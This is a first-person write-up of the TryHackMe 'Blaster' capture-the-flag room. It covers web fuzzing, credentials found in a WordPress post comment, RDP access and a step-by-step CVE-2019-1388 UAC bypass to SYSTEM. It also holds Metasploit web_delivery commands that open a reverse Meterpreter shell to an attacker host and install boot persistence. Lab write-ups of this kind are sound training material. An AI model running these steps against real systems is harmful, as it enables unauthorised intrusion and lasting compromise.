Writeup — Blaster (TryHackMe) OS: Windows Server 2016 (RetroWeb, IIS 10.0 + WordPress) Difficulty: Easy Date: 27 August 2026 --- ## Summary Windows machine, not domain-joined, with IIS and RDP exposed. On the webserver there is a hidden wordpress installation, discovered through heavy fuzzing after an attempt with a light wordlist had given nothing. Inside WordPress, cross-referencing the homepage and the published posts, you recover a username (wade) and a password left as a reminder in the comments of a post (parzival). With those credentials you get into both the WordPress panel and RDP, where the user flag is. On the user's desktop there is a forgotten executable, hhupd.exe, which leads to CVE-2019-1388: a UAC escalation based on abusing the "certificate information" window of Internet Explorer, which allows opening cmd.exe as SYSTEM. Task 4 of the room, centred on Metasploit (web delivery and persistence), I wasn't able to complete on my own within the time and I reconstructed it on paper with the help of online sources and a chatbot Chain: nmap → IIS + RDP → heavy fuzzing → /retro (WordPress) → REST API + homepage → username wade → password parzival in the comments of a post → wp-admin login + RDP → user.txt → hhupd.exe → CVE-2019-1388 → SYSTEM via Save As of Internet Explorer → root.txt → Metasploit web_delivery → Meterpreter → persistence. --- ## additional tools and methodology an llm was used during the session: for looking up CVE details, interpreting raw output, suggesting unexplored vectors when stuck and detailed explanation of technical concepts. the execution and the operational decisions were mine. the writeup was written by me and later cleaned up with the same tool. --- ## Preface room slow at times because of the infrastructure: an overly aggressive fuzzing run crashed the target once, forcing a restart of the lab machine, and xfreerdp wasn't available on my distro, which required installing Remmina via Flatpak just to be able to connect over RDP. the most delicate part was CVE-2019-1388: the correct procedure takes very few steps, but I followed a YouTube video guide alongside a chatbot and for a while I kept getting the exact order of the actions inside Internet Explorer wrong,losing more time than I should have over a trivial sequencing mistake. Task 4, the one on Metasploit web delivery and persistence, I wasn't able to finish within the time of the session: I had stopped at the PowerShell command generated by Metasploit without running it on the target. the relevant section in the writeup was reconstructed afterwards, leaning on online sources and a chatbot for the exact syntax of the commands, without any real execution of my own on that machine, I write it explicitly because it is more honest than presenting it as if I had run it live. --- ## Phase 1 — Reconnaissance nmap -Pn -sC -sV 10.114.185.56 Result: 80/tcp open http Microsoft IIS httpd 10.0 | http-title: IIS Windows Server 3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=RetroWeb Target_Name: RETROWEB DNS_Computer_Name: RetroWeb Product_Version: 10.0.14393 Only two open ports: IIS on 80 and RDP on 3389. the TLS certificate of the RDP service already reveals the hostname, RetroWeb --- ## Phase 2 — Web fuzzing (with the machine crash) curl -s http://10.114.185.56 confirms the generic title "IIS Windows Server". I try fuzzing the webroot with a light wordlist: gobuster dir -u http://10.114.185.56 -w /usr/share/wordlists/dirb/common.txt and in parallel with dirb on my machine: dirb http://10.114.185.153 /usr/share/dirb/wordlists/common.txt DOWNLOADED: 4612 - FOUND: 0 nothing with the light wordlist. I move to big.txt: dirb http://10.114.185.153 /usr/share/dirb/wordlists/big.txt ==> DIRECTORY: http://10.114.185.153/retro/ ==> DIRECTORY: http://10.114.185.153/retro/wp-admin/ ==> DIRECTORY: http://10.114.185.153/retro/wp-content/ ==> DIRECTORY: http://10.114.185.153/retro/wp-includes/ (!) FATAL: Too many errors connecting to host the heavy dirb run crashed the service: I check with curl --max-time 5 -I http://10.114.185.153/retro/ and get connection timed out. definitive confirmation with: nmap -Pn -p80,3389 10.114.185.153 80/tcp filtered http 3389/tcp filtered ms-wbt-server both ports filtered, the machine no longer responds. I restart the lab machine and check again: nmap -Pn -p80,3389 10.114.160.81 80/tcp open http 3389/tcp open ms-wbt-server online again. the structure /retro/wp-admin/, /retro/wp-content/, /retro/wp-includes/ confirms a WordPress installation hidden under that directory. --- ## Phase 3 — WordPress reconnaissance curl --max-time 5 -i http://10.114.160.81/retro/ HTTP/1.1 200 OK Server: Microsoft-IIS/10.0 X-Powered-By: PHP/7.1.29 Link: ; rel="https://api.w.org/" Retro Fanatics – Retro Games, Books, and Movies Lovers the confirmation that /retro/ exists and answers 200 OK, that it's WordPress, and the PHP version (7.1.29, fairly old). the Link field explicitly confirms the presence of the WordPress REST API at /retro/index.php/wp-json/. curl --max-time 10 -s http://10.114.149.248/retro/index.php/wp-json/ | jq > /tmp/wp-api.json wc -c /tmp/wp-api.json 142739 /tmp/wp-api.json 140 KB of JSON, too much to read by hand without a dedicated tool. from the wp/v2 namespace potentially interesting endpoints emerge such as /wp/v2/users, /wp/v2/posts, /wp/v2/pages, /wp/v2/media, /wp/v2/settings, /wp/v2/themes, but without yet knowing what was actually accessible without authentication, better not to guess and enumerate everything blindly. on this point a premise is worth making: querying the REST API of a real WordPress site extensively without explicit authorisation is an activity that falls under unauthorised penetration testing, and can constitute abusive access to a computer system even when the endpoints are technically "public". what I did here only makes sense because the machine is a lab target built for exactly this, with the platform's explicit consent. outside this context the same activity should only be done with written authorisation, to avoid legal risk and unintended data exfiltration. --- ## Phase 4 — Recovering credentials from the posts the room instructions point clearly: first find a username by browsing /retro, then look for a password in the posts, given that the user supposedly had "trouble logging in recently". I try /wp/v2/posts via the API first, with no useful results. then I try looking for author references directly in the HTML of the homepage: curl --max-time 5 -s http://10.114.132.0/retro/ | grep -oE 'href="[^"]+"' | grep '/retro/' | head -30 from the permalinks /retro/index.php/author/wade/ comes up repeatedly, potential username: wade. from the same homepage I also recover the permalinks of the published posts (Tron Arcade Cabinet, Zelda Hidden Fan Room, Pac-Man Walkthrough, Ready Player One, Hello World). the server meanwhile starts responding intermittently: direct requests to permalinks and API endpoints sometimes return empty output, the usual unstable behaviour already seen with the earlier crash. so I open /retro directly in the browser to explore the posts manually instead of insisting from the terminal. in the post Ready Player One, Wade talks about often misspelling the name of his own avatar when logging in, and in the comments he leaves this note to himself: Leaving myself a note here just in case I forget how to spell it: parzival username: wade — password: parzival. --- ## Phase 5 — Access to WordPress scrolling the post to the bottom I find a "LOG IN" link that leads to /retro/wp-login.php, the standard WordPress login page. I log in with wade / parzival, very slow loading but the login succeeds. Concrete proof of access: WordPress Dashboard, the greeting "Howdy, Wade" at the top right Access to /wp-admin/plugins.php with the available actions: Activate | Deactivate | Update | Delete 4 plugins present, of which 2 active and 2 inactive, freely deactivatable WordPress 5.7.2 running 90s Retro theme 6 Posts, 1 Comment in the Activity panel to verify the privilege level concretely, I create a new post from Add New Post: it is published correctly and immediately becomes reachable at /retro/index.php/2026/08/27/new-post-by-torchiachristian/, confirming that Wade has write and publish permissions, not just read access. --- ## Phase 6 — RDP access and the user flag the room explicitly asks to connect over RDP with the same credentials. I try xfreerdp: xfreerdp /v:10.114.132.0 /u:wade /p:parzival the command wasn't actually available on my distro, and freerdp2-x11 wasn't installable through apt at that moment. I check that Flatpak was present and install an alternative graphical client: flatpak install flathub org.remmina.Remmina flatpak run org.remmina.Remmina from Remmina: I select the RDP protocol, enter the target IP, accept the certificate shown, enter wade / parzival (domain empty). the connection opens as a complete remote desktop session, automatic login as Wade on the remote desktop I find a single useful file, user.txt: THM{HACK_PLAYER_ONE} exploring the rest of the filesystem: C:\Users\Wade\Downloads is empty, while on the Desktop, besides the flag, there is a forgotten executable, hhupd.exe (715 KB, described as Microsoft HTML Help Control). I check the NTFS permissions: SYSTEM, Wade and Administrators have Full Control, inherited from the Users\Wade folder, information that in itself doesn't explain anything yet, but it is the file the room explicitly points to for investigation. --- ## Phase 7 — Identifying the CVE from PowerShell I recover the binary's metadata: (Get-Item "$env:USERPROFILE\Desktop\hhupd.exe").VersionInfo | Format-List * FileVersionRaw : 4.71.1015.0 ProductName : HTML Help 1.31 Update FileDescription : Microsoft® HTML Help Control OriginalFilename : hhupd.exe I submitted these specifics to a security-oriented chatbot to correlate them with a known vulnerability, since on my own I wouldn't have known how to recognise the binary as an attack vector. CVE-2019-1388 came up, consistent with the executable flagged by the room: a privilege escalation that exploits the behaviour of the UAC window shown when hhupd.exe is started, not the cryptographic details of the certificate itself (public key, thumbprint, issuer) but the fact that that window allows other programs to be opened in an already privileged context. --- ## Phase 8 — Exploitation of CVE-2019-1388 (with all the failures) I start hhupd.exe, the UAC prompt for administrator credentials appears. I click "Show information about the publisher's certificate", the details of the Microsoft certificate signed by VeriSign open. I click the issuer link (VeriSign Commercial Software Publishers CA): Internet Explorer opens, but shows an error page because the machine has no internet connection. from here a series of failed attempts begins before finding the right sequence: Attempt 1 — Save As from the wrong window I try Save As directly, but the window opens in a non-existent path (config\systemprofile\Desktop) and errors out. Attempt 2 — Internet Explorer address bar I type C:\Windows\System32 in the IE address bar: control passes to File Explorer, losing both the Save As options and IE's menu bar. Attempt 3 — Opening cmd.exe directly from File Explorer once inside File Explorer, I open cmd.exe directly: it opens as the user wade, not as administrator. useless for escalation purposes. Attempt 4 — File → Save As inside File Explorer the Save As option doesn't exist in that context, only "Open new window", "Open command prompt" and similar. Solution: I press Alt to show the menu bar on Internet Explorer (still on the error page, not on File Explorer), click File → Save As, and in the address bar of the Save As window, not in the "file name" field, I type the complete path directly: C:\Windows\System32\cmd.exe I press enter. the file is opened directly as NT AUTHORITY\SYSTEM, because Internet Explorer had been launched from the UAC window of hhupd.exe and inherits its privileges. C:\Windows\System32>whoami nt authority\system C:\Windows\System32>cd C:\Users\Administrator\Desktop C:\Users\Administrator\Desktop>dir 04/23/2020 10:34 AM 31 root.txt C:\Users\Administrator\Desktop>type root.txt THM{COIN_OPERATED_EXPLOITATION} SYSTEM shell confirmed, root flag recovered. --- ## Phase 9 — Task 4: Metasploit web delivery and persistence this part, as written in the preface, I did not execute live on the target within the time of the session: I had stopped right after Metasploit generated the PowerShell command. I reconstruct it here based on the correct syntax of the commands, verified with online sources and a chatbot. on the attacker machine: msfconsole use exploit/multi/script/web_delivery set target 2 set payload windows/meterpreter/reverse_http set LHOST 10.10.15.17 set SRVPORT 8080 set LPORT 4444 run -j the module generates a base64-obfuscated PowerShell command to be run on the target, pointing at Metasploit's temporary web server on port 8080. running it on the SYSTEM shell already obtained with the previous exploit, the target downloads the stage and opens a Meterpreter session over reverse HTTP back to the attacker: [*] Meterpreter session 1 opened (10.10.15.17:4444 -> 10.112.168.127:49175) sessions -i 1 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM for persistence, the command that sets up automatic start at boot is: run persistence -X with the complete options: run persistence -X -p windows/meterpreter/reverse_http -r 10.10.15.17 -p 4444 [+] Persistent agent installed. It will run on boot. to test that persistence actually works you would need a listener permanently listening on the attacker machine (exploit/multi/handler with the same payload and LHOST/LPORT), ready to receive the connection when the target reboots, a step which in a real environment requires a permanent service on the attacker side, not just an interactive msfconsole session. --- ## Full chain nmap → IIS 80 + RDP 3389, hostname RetroWeb → light fuzzing with no results → heavy fuzzing → machine crash → restart → /retro discovered → WordPress + REST API confirmed → homepage: username wade via /author/wade/ → post Ready Player One: password parzival in the comments → wp-admin login as wade → write privileges confirmed → RDP with Remmina (xfreerdp not available) → user.txt → hhupd.exe on the desktop → CVE-2019-1388 identified → UAC escalation via Save As of Internet Explorer → SYSTEM → root.txt → Metasploit web_delivery → Meterpreter reverse HTTP → persistence at boot --- ## Lessons learned when fuzzing with a heavy wordlist crashes an unstable target, it's better to switch immediately to a smaller and more targeted wordlist instead of insisting, and to check with a light ping/port scan whether the service is still alive before continuing to fire requests into the void. the room instructions, when present, should be read in full before exploring a surface as wide as a WordPress REST API at random: that same question ("has your user had login problems recently") was already a direct map towards where to look for the password, with no need to enumerate every available endpoint. in an escalation based on a privileged system window (like the UAC of hhupd.exe), the detail that matters isn't the technical content shown (certificate, public key, hash) but the privilege context that window runs in, and which other actions it lets you launch from inside it --- ## Tools used nmap, dirb, gobuster, curl, jq, Remmina (via Flatpak), PowerShell, Internet Explorer (as the exploit vector), msfconsole (exploit/multi/script/web_delivery, exploit/multi/handler)